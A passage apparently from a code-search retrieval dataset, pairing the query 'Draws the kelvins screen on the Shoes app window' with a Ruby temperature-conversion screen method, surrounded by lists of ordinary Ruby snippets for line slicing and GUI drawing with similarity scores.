num_lines)\n end\n end", "def remove_range(line_from, index_from, line_to, index_to) \n\t\tix1 = index_of_position(line_from, index_from)\n\t\tix2 = index_of_position(line_to, index_to)\n\t\t@text[ix1 ... ix2] = \"\"\n\t\t@line_indices.delete_if { |i| i.between?(ix1, ix2) }\n\t\tadjust_line_indices_after(ix2, -(ix2 - ix1))\n\tend", "def cut_off(src)\n ret = []\n whiteline_buf = []\n\n line = src.shift\n /^\\s*/ =~ line\n\n indent = Regexp.quote($&)\n ret.push($')\n\n while line = src.shift\n if /^(\\s*)$/ =~ line\n whiteline_buf.push(line)\n elsif /^#{indent}/ =~ line\n unless whiteline_buf.empty?\n ret.concat(whiteline_buf)\n whiteline_buf.clear\n end\n ret.push($')\n else\n raise \"[BUG]: probably Parser Error while cutting off.\\n\"\n end\n end\n ret\nend", "def cut_line(iterator)\n line = iterator.lines.first\n \n row = iterator.slice(line)\n iterator.slice!(line)\n \n return row\n end", "def line_range(lineno); end", "def source_from_range(source_range) # rubocop:disable Metrics/AbcSize\n current_line = source_range.start_pos.line - 1\n last_line = source_range.end_pos.line - 1\n start_pos = source_range.start_pos.offset - 1\n\n source =\n if current_line == last_line\n engine.lines[current_line][start_pos..(source_range.end_pos.offset - 1)]\n else\n engine.lines[current_line][start_pos..-1]\n end\n\n current_line += 1\n while current_line < last_line\n source += engine.lines[current_line].to_s\n current_line += 1\n end\n\n if source_range.start_pos.line != source_range.end_pos.line\n source += ((engine.lines[current_line] || '')[0...source_range.end_pos.offset]).to_s\n end\n\n source\n end", "def first_line_only(range); end", "def first_line_only(range); end", "def first_line_only(range); end", "def range_by_lines(range)\n begin_of_first_line = range.begin_pos - range.column\n\n last_line = range.source_buffer.source_line(range.last_line)\n last_line_offset = last_line.length - range.last_column\n end_of_last_line = range.end_pos + last_line_offset\n\n Parser::Source::Range.new(range.source_buffer,\n begin_of_first_line,\n end_of_last_line)\n end", "def source_range(*arguments); end", "def cut_fine_bounds(qual,new_start,new_end) \n # puts \" ççççççççççççççç #{new_start+@window} >= #{new_end} \" \n # puts \" #{new_start} #{new_end} .o.o.o.o.o.o.o.o1\"\n # cut it fine\n \n one_ok = 0 \n \n i=@window-1\n # puts \" qual[new_start+i] new_start #{new_start} i #{i} = #{new_start+i} qual.size #{qual.size}\"\n while (i>=0) \n if (qual[new_start+i] < @low) \n break if one_ok\n else \n one_ok = 1\n end \n i-=1\n end\n new_start += i+1\n oneOk = 0 \n i=0\n while (i<@window) \n if (qual[new_end+i] < @low) \n break if oneOk\n else \n oneOk = 1\n end \n i+=1\n end\n new_end += i-1 \n # puts \"6b new_start #{new_start} new-end #{new_end}\" \n \n # puts \" #{new_start} #{new_end} .o.o.o.o.o.o.o.o2\"\n return new_start, new_end\n \n end", "def split_range(range)\n start, finish = range.begin, range.end\n start += length if start < 0\n finish += length if finish < 0\n \n [start, finish - start - (range.exclude_end? ? 1 : 0)]\n end", "def strip_blank_lines\n\t\t# algorithm: keep only the non-blank lines\n\t\t\n\t\t\n\t\t# work inwards from the outside until you fine lines that are not empty\n\t\tmin_i = self.index{ |line| line != \"\" }\n\t\tmax_i = self.rindex{ |line| line != \"\" }\n\t\t\n\t\t\n\t\t# keep only the things inside the range\n\t\trange = (min_i..max_i)\n\t\t\n\t\t\n\t\tunless range.max < range.min # only on ascending\n\t\t\treturn self.each_index.select {|i| range.include? i }\n\t\telse\n\t\t\treturn self.clone\n\t\tend\n\tend", "def source_from_range(source_range)\n current_line = source_range.start_pos.line - 1\n last_line = source_range.end_pos.line - 1\n\n source = engine.lines[current_line][(source_range.start_pos.offset - 1)..-1]\n\n current_line += 1\n while current_line < last_line\n source += \"#{engine.lines[current_line]}\\n\"\n current_line += 1\n end\n\n if source_range.start_pos.line != source_range.end_pos.line &&\n # Sometimes the parser reports ranges ending on the first column of the\n # line after the last line; don't include the last line in this case.\n engine.lines.count == current_line - 1\n source += \"#{engine.lines[current_line][0...source_range.end_pos.offset]}\\n\"\n end\n\n source\n end", "def between(start_line, end_line = nil)\n return self unless start_line\n\n code_range = CodeRange.new(start_line, end_line)\n\n alter do\n @lines = @lines[code_range.indices_range(@lines)] || []\n end\n end", "def between(start_line, end_line=nil)\n return self unless start_line\n\n if start_line.is_a? Range\n end_line = start_line.last\n end_line -= 1 if start_line.exclude_end?\n\n start_line = start_line.first\n else\n end_line ||= start_line\n end\n\n if start_line > 0\n start_idx = @lines.index { |l| l.last >= start_line } || @lines.length\n else\n start_idx = start_line\n end\n\n if end_line > 0\n end_idx = (@lines.index { |l| l.last > end_line } || 0) - 1\n else\n end_idx = end_line\n end\n\n alter do\n @lines = @lines[start_idx..end_idx] || []\n end\n end", "def slice_from_start_and_length(start, length)\n result = []\n stop = start + length\n index = 0\n each do |item|\n break if index >= stop\n result << item if index >= start\n index += 1\n end\n result if index >= start\n end", "def source_range=(_arg0); end", "def remove(range); end", "def remove(range); end", "def remove(range); end", "def remove(range); end", "def remove(range); end", "def remove(range); end", "def remove(range); end", "def remove(range); end", "def line_ranges=(_); end", "def get_range(line_from, index_from, line_to, index_to) \n\t\tix1 = index_of_position(line_from, index_from)\n\t\tix2 = index_of_position(line_to, index_to)\n\t\t@text[ix1 ... ix2]\n\tend", "def line_range=(_arg0); end", "def strip_blank_lines!\n\t\t# algorithm: figure out what lines to remove - mark and execute\n\t\t# (flag undesirables, then remove them all in one pass)\n\t\t\n\t\t\n\t\t# work inwards from the outside until you fine lines that are not empty\n\t\tmin_i = self.index{ |line| line != \"\" }\n\t\tmax_i = self.rindex{ |line| line != \"\" }\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t# need to keep everything in this range\n\t\t# and discard everything else\n\t\t# (min_i..max_i)\n\t\t# \n\t\t# \n\t\t# need to remove all things in these two ranges\n\t\t# (0..min_i) + (max_i..-1)\n\t\t# well, except the limits need to be moved outwards by one position,\n\t\t# because the initial search find the first non-empty lines\n\t\t# \n\t\t# but, there might only be empty lines on one side or the other\n\t\t\n\t\t\n\t\t# --- figure out what to get rid of\n\t\tlower_range = (0..(min_i-1))\n\t\tupper_range = ((max_i+1)..(self.size-1))\n\t\t\n\t\t\n\t\t# delete ranges if malformed\n\t\tlower_range = nil unless lower_range.max\n\t\tupper_range = nil unless upper_range.max\n\t\t\n\t\t# delete lower range if it is the same as the upper one\n\t\t# (Don't want to try to delete things twice. That could get messy)\n\t\tupper_range = nil if upper_range == lower_range\n\t\t\n\t\t\n\t\t# --- mark and execute\n\t\t# flag unnecessary elements\n\t\tself[lower_range] = nil if lower_range\n\t\tself[upper_range] = nil if upper_range\n\t\t\n\t\t# condense array so only desirables remain\n\t\tself.compact!\n\t\t\n\t\t\n\t\treturn self\n\tend", "def cut_position\n @cut_position ||= current_location_token_range.end_pos - 1\n end", "def slice(text)\n text[from...to]\n end", "def lines(source); end", "def initial_load_range( line_a=1, line_b=-1 )\n\t\t@lines = []\n\t\tline_number = 0\n\t\tf = @data_source\n\t\tf.each do |line|\n\t\t\tline_number += 1\n\t\t\tnext unless line_number >= line_a\n\t\t\t@lines << Line.new(line_number, line.chomp )\n\t\t\tbreak if line_b != -1 && line_number >= line_b\n\t\tend\n\t\tf.close if f.is_a? File\n\t\t@lines\n\tend", "def restrict_to_lines(content, lines)\n line_range = one_index_range_or_number(lines)\n Array(content.lines.to_a[line_range]).join\n end", "def restrict_to_lines(content, lines)\n line_range = one_index_range_or_number(lines)\n Array(content.lines.to_a[line_range]).join\n end", "def slice(start, length)\n end", "def breakable_range; end", "def range\n from_truncated..to_truncated\n end", "def lines_of(range)\n min_words = range.first\n max_words = range.last\n words_left = 0\n line = []\n\n @sentences.inject([]) do |result, sentence|\n too_few_words = proc { line.size < min_words || words_left < min_words }\n too_many_words = proc { line.size >= max_words ||\n line.size + words_left > max_words && words_left <= min_words }\n end_line = proc { result << line.join(\" \") and line.clear }\n words = sentence.split\n word_count = words.size\n\n next result << sentence if word_count < min_words * 2\n\n line.clear\n words.each_with_index do |word, i|\n words_left = word_count - i\n if too_few_words[]\n line << word\n end_line.call if word =~ /[,;]$/ && !too_few_words[]\n elsif too_many_words[] || word =~ /^['\"]|^(and|that|or|for|nor|if)$/\n end_line.call\n line << word\n elsif word =~ /[,;]$/\n line << word\n end_line.call\n else\n line << word\n end\n end\n result << line.join(\" \")\n end\n end", "def first_line_only(range)\n if range.line != range.last_line\n range.resize(range.source =~ /\\n/)\n else\n range\n end\n end", "def last_line_only(range); end", "def last_line_only(range); end", "def last_line_only(range); end", "def affected_lines_range\n (line_no..line_no + replaced_text.count(\"\\n\"))\n end", "def method_source_lines(file, line_num, context=5)\n # Yeah, we're not memory efficient here.\n lines = Array(File.open(file))\n result = []\n\n min_index = line_num - context - 1\n max_index = line_num + context\n\n max_width = (max_index + 1).to_s.length\n\n (min_index...max_index).each do |index|\n result << [(index + 1).to_s.rjust(max_width), lines[index].rstrip, index == line_num - 1]\n end\n\n result\n end", "def remove(range)\n @source_rewriter.remove(range)\n end", "def remove(range)\n @source_rewriter.remove(range)\n end", "def cut!\n STDERR.puts \"cut!\" if @trace > 0\n return if @paths.empty?\n # rewind paths back to the last mark\n @paths = @paths.drop_while {|x| x.instance_of? Continuation}\n # drop up to one mark\n @paths = @paths.drop(1) unless @paths.empty?\n end", "def take_before(node, source_part)\n range = source_range(node, source_part)\n if range\n take_while { |comment| comment.location.expression.end_pos <= range.begin_pos }\n else\n EMPTY_ARRAY\n end\n end", "def breakable_range=(_arg0); end", "def remove_range(left, right)\n \n end", "def remove_range(left, right)\n \n end", "def lines(start, num) \n\t\t@text[index_of_position(start)...index_of_position(start + num) - 1]\n\tend", "def postprocess_source(source_lines)\n starting_offset = 0\n while source_lines.size > 0 && source_lines[0] =~ /^\\s*$/\n starting_offset += 1\n source_lines.delete_at(0)\n end\n\n while source_lines.size > 0 && source_lines[-1] =~ /^\\s*$/\n source_lines.delete_at(-1)\n end\n starting_offset\n end", "def cropped\n lines.map { |line| columns(line) }\n end", "def offset_range\n return nil unless original_text\n start_pos.offset...(start_pos.offset + original_text.bytesize)\n end", "def cut_position\n 0 #no cut\n end", "def slice_range(limit_and_offset = limit_and_offset())\n limit, offset = limit_and_offset\n if limit || offset\n (offset||0)..(limit ? (offset||0)+limit-1 : -1)\n end\n end", "def slice sentence_range, split_state\n self.class.new(@screenplay,\n @sentences[sentence_range].join(' '),\n @last_character_cue,\n @split_state)\n end", "def matching_lines(text)\n if @lines.is_a?(RegexpRange)\n @lines.to_range(text)\n else\n @lines\n end\n end", "def wrap_source_range(node)\n expression = node.loc.expression\n Parser::Source::Range.new(\n expression.source_buffer,\n first_position_from_expression(node),\n last_position_from_expression(node) || expression.end_pos\n )\n end", "def sub_horizontal_line(start, length)\n offset = byte_offset start\n data[offset .. (offset + (length*pixel_byte_size)-1)]\n end", "def slice_without_hooks!( index_start_or_range, length = nil )\n\n @without_hooks = true\n\n slice = slice!( index_start_or_range, length )\n \n @without_hooks = false\n \n return slice\n \n end", "def linspace(from,step,limit)\n a = []\n from.step(limit,step){|x| a << x}\n a\nend", "def cut_columns!\n if cut\n local_copy.in_place :cut, cut\n end\n end", "def bounded_line_numbers(line, min, max, surrounding_lines)\n lower = line - surrounding_lines > min ? line - surrounding_lines : min\n upper = line + surrounding_lines < max ? line + surrounding_lines : max\n (lower..upper).to_a\n end", "def cut(segment=selection)\n\t\t\tcopy segment\n\t\t\tsegment.delete\n\t\tend", "def range_start; range.first; end", "def run_line_length_cop; end", "def getLineSubset( arr, len )\n return [] if (arr.empty? || (x = arr[0]) > len)\n return [[x]] if x == len\n ar = arr.drop(1)\n getLineSubset( ar, len-x )\n .each{ |a| a.unshift x }\n .concat getLineSubset( ar, len )\nend", "def source_lines; end", "def source_lines; end", "def source_lines; end", "def source_lines; end", "def splice(ranges)\n ranges.sort_by(&:begin).inject([]) do |spliced, r|\n if spliced.empty?\n spliced + [r]\n else\n last = spliced.pop\n if last.end >= (r.begin - 1)\n ends = [last.end, last.begin, r.begin, r.end].sort\n new_end = ends.shift\n new_begin = ends.pop\n spliced + [(new_end..new_begin)]\n else\n spliced + [last, r]\n end\n end\n end\n end", "def sliced_print_range\n whole_range = (@lower..@upper).to_a\n whole_range.each_slice(@size).to_a\n end", "def remove_leading(node_or_range, size)\n range = to_range(node_or_range)\n to_remove = Parser::Source::Range.new(range.source_buffer,\n range.begin_pos,\n range.begin_pos + size)\n @source_rewriter.remove(to_remove)\n end", "def remove_preceding(node_or_range, size); end", "def break(len)\n [self[0,len],self[len..-1]]\n end", "def read_between_the_lines(file_name, start_line, end_line)\n content = File.read(File.expand_path(file_name))\n lines_array = content.each_line.to_a\n\n [lines_array[start_line..end_line].join, normalized_line_number(start_line, lines_array.size),\n normalized_line_number(end_line, lines_array.size)]\n end", "def split(range = nil)\n if self.record_category and self.activity?\n entry_end = self.end_timestamp || Time.now\n time = range ? [self.timestamp, range.begin.midnight.in_time_zone].max : self.timestamp\n end_time = range ? [entry_end, range.end.midnight.in_time_zone].min : entry_end\n list = Array.new\n while time < end_time\n new_end = [entry_end, (time + 1.day).midnight.in_time_zone].min\n list << [time, new_end, self]\n time = new_end\n end\n else\n return [self.timestamp, nil, self]\n end\n list\n end", "def my_drop(cutoff)\n result = []\n i = 0\n each do | value |\n result.push value if i >= cutoff\n i += 1\n end\n result\n end", "def remove_leading(node_or_range, size); end", "def lines(source)\n self.class.lines(source)\n end", "def splice_from(src, maxlen)\n Polyphony.backend_splice(src, self, maxlen)\n end", "def splice_from(src, maxlen)\n Polyphony.backend_splice(src, self, maxlen)\n end", "def cut_cards(cuts)\r\n cards = []\r\n loc = 0\r\n [cuts].flatten.each_with_index do |cut, idx|\r\n cards[idx] = @cards[loc...cut]\r\n loc = cut\r\n end\r\n cards << @cards[loc...@cards.length]\r\n end", "def unix_tail_command_brute(filename, lines)\n lines_total, output = 0, \"\"\n\n file = File.open(filename,'r')\n file.each_line do |l|\n lines_total += 1\n end\n file.close\n\n start_line = lines_total - lines\n\n line_number = 0\n file = File.open(filename,'r')\n file.each_line do |l|\n\n if line_number >= start_line\n output << \"#{l}\"\n end\n line_number += 1\n end\n file.close\n\n output\nend", "def cut_sticks sticks\n \n # num_cut = []\n # min_length = sticks.min\n # sticks.map!{|x| x-min_length}\n # num_cut << sticks.length\n # num_cut\n\n num_cut = []\n\n while sticks.length != 0\n\n min_length = sticks.min\n sticks.map!{|x| x-min_length}\n num_cut << sticks.length\n\n sticks.reject!{|x| x < 1}\n end\n\n num_cut\n\nend", "def last_line_only(range)\n if range.line != range.last_line\n range.adjust(begin_pos: range.source =~ /[^\\n]*\\z/)\n else\n range\n end\n end", "def truncated_diff_lines\n prev_lines = []\n\n highlighted_diff_lines.each do |line|\n if line.meta?\n prev_lines.clear\n else\n prev_lines << line\n\n break if for_line?(line)\n\n prev_lines.shift if prev_lines.length >= NUMBER_OF_TRUNCATED_DIFF_LINES\n end\n end\n\n prev_lines\n end", "def cut_words(length)\n @words = @words.select do |word|\n word.length == length\n end\n end", "def ltrim(key, start, stop); end", "def ltrim(key, start, stop); end" ]
[ "0.67903715", "0.671364", "0.6618312", "0.64808804", "0.64204776", "0.6368974", "0.6289797", "0.62691736", "0.6268904", "0.61678517", "0.6103724", "0.6085568", "0.6085568", "0.6085568", "0.60020685", "0.5953825", "0.5953571", "0.58568007", "0.5848789", "0.5839401", "0.5834466", "0.58225566", "0.58199924", "0.5810347", "0.5780419", "0.5780419", "0.5780419", "0.5780419", "0.5780419", "0.5780419", "0.5780419", "0.5780419", "0.57101583", "0.5690474", "0.56776863", "0.56533015", "0.56403995", "0.5631687", "0.5627658", "0.5627484", "0.5616158", "0.5616158", "0.5601209", "0.5594928", "0.5594155", "0.55852515", "0.5577286", "0.55575955", "0.55575955", "0.55575955", "0.55184895", "0.5478406", "0.5465757", "0.5465757", "0.54566944", "0.5442905", "0.54086363", "0.54071116", "0.54071116", "0.5393994", "0.5387819", "0.53845793", "0.53791803", "0.5355551", "0.53001577", "0.52818537", "0.52584887", "0.5247097", "0.5236129", "0.52334636", "0.52264756", "0.52256525", "0.5194535", "0.5188774", "0.51364654", "0.5136309", "0.51311344", "0.5128331", "0.5128331", "0.5128331", "0.5128331", "0.51181626", "0.5115256", "0.5107726", "0.50995266", "0.508644", "0.5061943", "0.50607586", "0.50535315", "0.5050977", "0.50502276", "0.50307083", "0.50307083", "0.50263435", "0.50232804", "0.50105494", "0.500239", "0.49971414", "0.49930823", "0.4985515", "0.4985515" ]
0.0
-1
Draws the kelvins screen on the Shoes app window.
def kelvins_screen @heading = 'Kelvins = temperature + 273.15' background('images/conversions_large.png') # Kelvins screen header ScreenHeader.new(self, '/title_screen/conversions_screen', @@font, @heading) # Kelvins screen content flow(:height => 640, :width => 1080, :scroll => true) do # Left margin offset stack(:height => 640, :width => 80) do end # Content column stack(:height => 640, :width => 1000) do ScreenLabel.new(self, @@font, @heading, 'Temperature') flow do @temperature = ScreenEditLine.new(self, @@font, @heading) @temperature_unit = para(strong(' °C')) @temperature_unit.style(@@screen_unit_text_styles) end @calculate = button('Calculate') @result_display = flow @error_display = flow @calculate.click do @result_display.clear do @result = Joules.to_kelvins(@temperature.text.to_f) @kelvins = para(@result.to_s) @kelvins_unit = para(' K') @kelvins.style(@@screen_result_text_styles) @kelvins_unit.style(@@screen_result_text_styles) end end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n call Screen.setColor(true)\n call draw\n end", "def draw(window)\n window.draw_quad(top_left_x_view, top_left_y_view, 0x33ffffff,\n bottom_right_x_view, top_left_y_view, 0x33ffffff,\n bottom_right_x_view, bottom_right_y_view, 0x33ffffff,\n top_left_x_view, bottom_right_y_view, 0x33ffffff, 100)\n end", "def paint\n if $render_from_base\n\t @app.nostroke\n\t checkSrepIntersection\n\n\t $sreps.each.with_index do |srep, i|\n\t render_srep(srep, @shifts[i] , @shifts[i] , 1.5, true)\n\t end\n\n\t #render extended spokes \n\t $sreps.each.with_index do |srep, i|\n\t \n\t if (srep.getExtendInterpolatedSpokesEnd()).length > 0 and srep.show_extend_spokes\n\t\tspoke_begin = srep.interpolated_spokes_begin \n\t\tspoke_end = srep.getExtendInterpolatedSpokesEnd()\n\n\t\tif ($show_subsetof_extended_spokes) \n\t\t render_subset_extend_interp_spokes(@shifts[i],@shifts[i], srep.color, spoke_begin, spoke_end, srep.index)\n\t\telse\n\t\t render_extend_interp_spokes(@shifts[i],@shifts[i], srep.color, spoke_begin, spoke_end)\n\t\tend\n\t end\n\t #render_extended_interp_spokes(srep, @shifts[i] , @shifts[i] , 1.5, true)\n\t end\n\t \n\t if $show_linking_structure \n\t if $dilateCount != 22\n\t\t render_linking_structure(@shifts)\n\t else \n\t\t refine_fake_linking_structure()\n\t\t render_fake_linkingPts(@shifts)\n\t end\n\t end\n\n\t # render refining windows\n\t if $refine_linking_structure\n\t render_refine_windows()\n\t end\n else\n \n @app.stroke Color.black\n # read stdev 2 data and render \n shift = 300\n data_vector_reader = File.open('data_vector.txt','r')\n\t data_vector = []\n while line = data_vector_reader.gets\n data_vector << line.strip.to_f\n end\n data_vector_reader.close \n \n base_pts = data_vector[0..101*2*3-1]\n base_pts_xy = []\n (base_pts.size / 2).times do |i|\n\t base_pts_xy << [base_pts[i*2], base_pts[i*2+1]] \n end\n base_pts_xy.each do |p|\n @app.oval(p[0]+shift,p[1]+shift,3)\n end\n\n\t offset1 = 101*2*3\n spoke_dir = data_vector[offset1 .. 278*2*3+offset1-1]\n spoke_dir_xy = []\n (spoke_dir.size/2).times do |i|\n spoke_dir_xy << [ spoke_dir[i*2], spoke_dir[i*2+1] ] \n end\n \n offset2 = 278*2*3+offset1\n spoke_len = data_vector[offset2 .. 278*3+offset2-1]\n\n offset3 = 278*3+offset2\n extended_lens = data_vector[offset3 .. 278*3+offset3-1]\n # alert(offset3)\n 99.times do |i|\n @app.stroke Color.black\n extended_len = extended_lens[i]\n spoke = [ spoke_dir_xy[i][0], spoke_dir_xy[i][1] ]\n spoke_len = Math.sqrt(spoke[0]**2 + spoke[1]**2)\n extended = [ spoke[0].to_f * extended_len / spoke_len, spoke[1].to_f * extended_len / spoke_len ]\n if i != 0 \n \t @app.line base_pts_xy[i+1][0]+shift, base_pts_xy[i+1][1]+shift, base_pts_xy[i+1][0] +shift+ spoke_dir_xy[i][0] + extended[0], base_pts_xy[i+1][1]+shift + spoke_dir_xy[i][1] + extended[1]\n\t end\n extended_len = extended_lens[i+139]\n spoke = [ spoke_dir_xy[i+139][0], spoke_dir_xy[i+139][1] ]\n spoke_len = Math.sqrt(spoke[0]**2 + spoke[1]**2)\n extended = [ spoke[0].to_f * extended_len / spoke_len, spoke[1].to_f * extended_len / spoke_len ]\n\t if i != 48 and i != 73 and i != 24 \n \t @app.line base_pts_xy[i+1][0]+shift, base_pts_xy[i+1][1]+shift, base_pts_xy[i+1][0] +shift+ spoke_dir_xy[i+139][0]+extended[0], base_pts_xy[i+1][1]+shift + spoke_dir_xy[i+139][1] + extended[1]\n end\n\t# @app.stroke Color.green\n @app.stroke rgb(0,51,0,1)\n \n @app.line base_pts_xy[i+1+101][0]+shift, base_pts_xy[i+1+101][1]+shift, base_pts_xy[i+1+101][0] +shift+ spoke_dir_xy[i+278][0], base_pts_xy[i+1+101][1]+shift + spoke_dir_xy[i+278][1]\n \n @app.line base_pts_xy[i+1+101][0]+shift, base_pts_xy[i+1+101][1]+shift, base_pts_xy[i+1+101][0] +shift+ spoke_dir_xy[i+139+278][0], base_pts_xy[i+1+101][1]+shift + spoke_dir_xy[i+139+278][1]\n\n @app.stroke Color.red\n \n @app.line base_pts_xy[i+1+202][0]+shift, base_pts_xy[i+1+202][1]+shift, base_pts_xy[i+1+202][0] +shift+ spoke_dir_xy[i+556][0] , base_pts_xy[i+1+202][1]+shift + spoke_dir_xy[i+556][1] \n @app.line base_pts_xy[i+1+202][0]+shift, base_pts_xy[i+1+202][1]+shift, base_pts_xy[i+1+202][0] +shift+ spoke_dir_xy[i+139+556][0], base_pts_xy[i+1+202][1]+shift + spoke_dir_xy[i+139+556][1]\n end\n\n 40.times do |i|\n @app.stroke Color.black\n if i != 0\n @app.line base_pts_xy[1][0]+shift, base_pts_xy[1][1]+shift, base_pts_xy[1][0] +shift+ spoke_dir_xy[i+238][0], base_pts_xy[1][1]+shift + spoke_dir_xy[i+238][1] \n end\n @app.line base_pts_xy[99][0]+shift, base_pts_xy[99][1]+shift, base_pts_xy[99][0] +shift+ spoke_dir_xy[i+99][0], base_pts_xy[99][1]+shift + spoke_dir_xy[i+99][1]\n\n # @app.stroke Color.green\n @app.stroke rgb(0,51,0,1)\n @app.line base_pts_xy[1+101][0]+shift, base_pts_xy[1+101][1]+shift, base_pts_xy[1+101][0] +shift+ spoke_dir_xy[i+238+278][0], base_pts_xy[1+101][1]+shift + spoke_dir_xy[i+238+278][1] \n @app.line base_pts_xy[99+101][0]+shift, base_pts_xy[99+101][1]+shift, base_pts_xy[99+101][0] +shift+ spoke_dir_xy[i+99+278][0], base_pts_xy[99+101][1]+shift + spoke_dir_xy[i+99+278][1]\n \n @app.stroke Color.red\n @app.line base_pts_xy[1+202][0]+shift, base_pts_xy[1+202][1]+shift, base_pts_xy[1+202][0] +shift+ spoke_dir_xy[i+238+556][0], base_pts_xy[1+202][1]+shift + spoke_dir_xy[i+238+556][1] \n @app.line base_pts_xy[99+202][0]+shift, base_pts_xy[99+202][1]+shift, base_pts_xy[99+202][0] +shift+ spoke_dir_xy[i+99+556][0], base_pts_xy[99+202][1]+shift + spoke_dir_xy[i+99+556][1]\n end\n \n \n\n\n end\n end", "def draw_board_window\n heightpx = @board.height*@scale\n widthpx = @board.width*@scale\n TkCanvas.new(@root, bg: \"#ffffff\", height: heightpx, width: widthpx) { grid(row: 1, column: 1) }\n end", "def draw\n Termbox.tb_clear\n @views.each {|view| view.draw}\n Termbox.tb_present\n end", "def draw(window)\n color = Gosu::Color::WHITE\n\n window.draw_quad(\n x1, y1, color,\n x1, y2, color,\n x2, y2, color,\n x2, y1, color\n )\n end", "def draw_win\n draw_quad( 0, 0, WTOP_COLOR,\n @width, 0, WTOP_COLOR,\n 0, @height, WBOTTOM_COLOR,\n @width, @height, WBOTTOM_COLOR,\n -1 )\n @endFont.draw(\"You win!\", @width/2 - 150, @height/2, 0, 4, 4, 0xFFFFFFFF)\n end", "def draw\n call Screen.setColor(true)\n call Screen.drawRectangle(@x, @y, @x + @size, @y + @size)\n end", "def render_spokes(cx, cy, type, spoke_length, spoke_direction, color)\n @app.stroke color\n u_p1 = spoke_direction[0]\n u_m1 = spoke_direction[1] \n @app.stroke color\n spoke_end_x_up1 = cx + spoke_length[0] * u_p1[0]\n spoke_end_y_up1 = cy - spoke_length[0] * u_p1[1]\n @app.line(cx, cy, spoke_end_x_up1, spoke_end_y_up1)\n spoke_end_x_up2 = cx + spoke_length[0] * u_m1[0]\n spoke_end_y_up2 = cy - spoke_length[0] * u_m1[1]\n @app.line(cx, cy, spoke_end_x_up2, spoke_end_y_up2)\n if type == 'end'\n u_0 = spoke_direction[2]\n spoke_end_x_u0 = cx + spoke_length[0] * u_0[0]\n spoke_end_y_u0 = cy - spoke_length[0] * u_0[1]\n @app.line(cx, cy, spoke_end_x_u0, spoke_end_y_u0)\n end\n end", "def draw\n game_name = \"MAD POKEMONS\"\n height = @game_font.height\n width = @game_font.text_width(game_name, scale_x = 1)\n x = Game::ScreenWidth / 2\n y = Game::ScreenHeight / 3\n @game_font.draw(game_name, x - width/2 ,y - height/2, ZOrder::UI, 1.0, 1.0, Gosu::Color::WHITE)\n \n @buttons.each {|button| button.draw }\n end", "def show_gold_window\n return if @gold_window\n\n @gold_window = UI::Window.from_metrics(viewport, 318, 2, 48, 32, position: 'top_right')\n @gold_window.z = z + 1\n @gold_window.sprite_stack.with_surface(0, 0, 44) do\n @gold_window.add_line(0, text_get(11, 6))\n @gold_window.add_line(1, PFM::Text.parse(11, 9, ::PFM::Text::NUM7R => $pokemon_party.money.to_s), 2)\n end\n\n # Ensure it doesn't shows in the message\n return nil\n end", "def draw\r\n draw_background\r\n draw_h(@balls)\r\n end", "def draw\n @board.draw\n x = @window.width / 2\n y = @window.height / 2 - 30\n @font.draw(Const::PAUSE_CAPTION, x - 130, y, 0) if @paused\n @font.draw(Const::GAME_OVER_CAPTION, x - 170, y, 0) if @game_over\n end", "def draw\n draw_background\n draw_ambient\n draw_objects\n draw_ui\n end", "def draw_clues_windows(clues)\n heightpx = @board.height*@scale\n widthpx = @board.width*@scale\n windows = {}\n windows[:rows] = TkCanvas.new(@root, bg: \"#aaaaaa\") { grid(:row => 1, :column => 0) }\n windows[:rows].height = heightpx\n windows[:rows].width = (@scale*clues[:rows].map { |row| row.length }.max)\n windows[:columns] = TkCanvas.new(@root, bg: \"#aaaaaa\") { grid(:row => 0, :column => 1) }\n windows[:columns].height = (@scale*clues[:columns].map { |column| column.length }.max)\n windows[:columns].width = widthpx\n windows\n end", "def draw(box)\n # Draw in the shadow if we need to.\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n self.drawTitle(@win)\n\n # Draw in the scrolling list items.\n self.drawList(box)\n end", "def draw\n @osd.draw\n end", "def make_screen\n @screen = Screen.new(Configuration.screen[:size], 32, [HWSURFACE, DOUBLEBUF])\n\n @screen.title = \"Towerdefence!\"\n end", "def draw_powerup_slot(x, y, img, params = {})\n x1 = x\n x2 = x + @scene.width * 0.05\n y1 = y\n y2 = y + @scene.width * 0.05\n params.merge!(scale: @scene.width * 0.05 / img.width)\n draw_window(x, y, x1, x2, y1, y2, img, params)\n end", "def draw\r\n yield @screen\r\n\r\n # Show the changes to the screen surface by flipping the buffer that is visible\r\n # to the user. All changes made to the screen surface will appear\r\n # simultaneously\r\n @screen.flip\r\n end", "def draw\r\n draw_rect(0, 0, WIDTH, 50, COLOR_BLACK, 0) # Header Background\r\n draw_rect(WIDTH-300, 50, 300, HEIGHT, COLOR_LIGHT_GREY, 1) # Action Panel\r\n @heading_font.draw_text(\"Swincoin\", 350, 9, 1, 1.0, 1.0, COLOR_WHITE, mode=:default) # Header Text\r\n draw_info(mouse_x, mouse_y)\r\n draw_transaction_box(mouse_x, mouse_y)\r\n draw_peers\r\n # Footer\r\n draw_rect(0,HEIGHT-32,WIDTH,32,COLOR_BLACK,2)\r\n @content_font.draw_text(\"Last Action: #{$status}\", 10, HEIGHT-22, 2, 1.0, 1.0, COLOR_WHITE, mode=:default)\r\n end", "def draw\n\tsuper\n\t\n\tif Game.scene.selected_tower\n\t position = grids_to_pixels(Game.scene.selected_tower.position)\n\t \n\t @surface.drawFilledCircle(position[0], position[1], Game.scene.selected_tower.range * Config.part_size[0], Screen.handle.format.mapRGB(0xbb, 0xbb, 0xbb))\n\tend\n\t\n\tposition = Config.monsters_start_at\n\tposition[0] += 1\n\tposition = grids_to_pixels(position)\n\tposition[0] -= 20\n\tposition[1] -= 20\n\tImage.draw(\"images/arrow.png\", @surface, *position)\n\t\n\tposition = Config.monsters_end_at\n\tposition[0] -= 1\n\tposition = grids_to_pixels(position)\n\tposition[0] -= 20\n\tposition[1] -= 20\n\tImage.draw(\"images/arrow.png\", @surface, *position)\n\t\n\tConfig.map_size[1].times do |y|\n Config.map_size[0].times do |x|\n @surface.draw_rect(Config.part_size[0]*x,Config.part_size[1]*y,Config.part_size[0],Config.part_size[1],Screen.handle.format.mapRGB(0x88, 0x88, 0x88))\n end\n end\n\t\n\tGame.scene.get_drawable_objects.each do |i|\n\t position = grids_to_pixels(i.position)\n\t if i.class <= Model::Monster # Drawing HP lines\n\t color = Screen.handle.format.mapRGB(0xaa, 0xaa, 0xaa)\n\t if i.poisoned\n\t color = Screen.handle.format.mapRGB(0xff, 